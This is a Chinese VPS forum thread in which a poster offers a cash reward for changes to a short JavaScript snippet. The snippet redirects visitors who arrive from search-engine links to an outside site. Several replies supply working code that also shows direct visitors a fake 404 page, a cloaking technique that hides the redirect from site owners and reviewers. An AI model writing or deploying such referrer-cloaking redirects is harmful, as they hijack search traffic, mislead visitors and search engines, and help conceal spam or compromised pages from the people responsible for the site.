vps交流

本帖内有代码,红包100求解,实现改动。谢谢大哥们


  1. var wvCRyL1 = window["document"]["referrer"];
  2. if (wvCRyL1["indexOf"]("link?url") > 0 || wvCRyL1["indexOf"]("warn") > 0 || wvCRyL1["indexOf"]("link?m") > 0 || wvCRyL1["indexOf"]("from") > 0 || wvCRyL1["indexOf"]("?src") > 0 || wvCRyL1["indexOf"]("?url") > 0 || wvCRyL1["indexOf"]("jump?u") > 0 || wvCRyL1["indexOf"]("uID") > 0) {
  3. self["location"] = "https://www.818.com/?Intr=1000";
  4. }

复制代码

这个是js里的代码,我估计是判断是否来自百度搜索,点过来的。跳转。否则就正常访问

我想在这个基础上改动。

百度点击过来的 跳转
否则显示网站的404错误页面。或者指定显示根目录上的404.html

有能力的回帖,按楼层先后。我要点时间测试。最近楼层 红包100.

本帖内有代码,红包100求解,实现改动。谢谢大哥们
最近很多小说站都用这招啊!!
非常牛!!!
;else{window.location="404"} 不行?
  1. var wvCRyL1 = window["document"]["referrer"];
  2. if (wvCRyL1["indexOf"]("link?url") > 0 || wvCRyL1["indexOf"]("warn") > 0 || wvCRyL1["indexOf"]("link?m") > 0 || wvCRyL1["indexOf"]("from") > 0 || wvCRyL1["indexOf"]("?src") > 0 || wvCRyL1["indexOf"]("?url") > 0 || wvCRyL1["indexOf"]("jump?u") > 0 || wvCRyL1["indexOf"]("uID") > 0) {
  3. }else{
  4. self["location"] = "/404.html";}

复制代码

本帖内有代码,红包100求解,实现改动。谢谢大哥们

  1. var wvCRyL1 = window["document"]["referrer"];
  2. if (wvCRyL1["indexOf"]("link?url") > 0 || wvCRyL1["indexOf"]("warn") > 0 || wvCRyL1["indexOf"]("link?m") > 0 || wvCRyL1["indexOf"]("from") > 0 || wvCRyL1["indexOf"]("?src") > 0 || wvCRyL1["indexOf"]("?url") > 0 || wvCRyL1["indexOf"]("jump?u") > 0 || wvCRyL1["indexOf"]("uID") > 0) {
  3. self["location"] = "https://www.818.com/?Intr=1000";
  4. }else{
  5. self["location"] = "/404.html";
  6. }

复制代码

试试这样行嘛

var wvCRyL1 = window["document"]["referrer"];
if (wvCRyL1["indexOf"]("link?url") > 0 || wvCRyL1["indexOf"]("warn") > 0 || wvCRyL1["indexOf"]("link?m") > 0 || wvCRyL1["indexOf"]("from") > 0 || wvCRyL1["indexOf"]("?src") > 0 || wvCRyL1["indexOf"]("?url") > 0 || wvCRyL1["indexOf"]("jump?u") > 0 || wvCRyL1["indexOf"]("uID") > 0) {
self["location"] = "https://www.818.com/?Intr=1000";
}
else {
self[‘location’]="https://nothisdomain/nothisfile";
}
你直接给跳到百度就行了
nginx不就完事了?
这么写太菜鸟了
  1. var refdizhi=document.referrer;
  2. if(refdizhi.indexOf("baidu")>0){
  3.         self.location="https://xxx.com/";
  4. }else{
  5.         self.location="/404.html";
  6. }

复制代码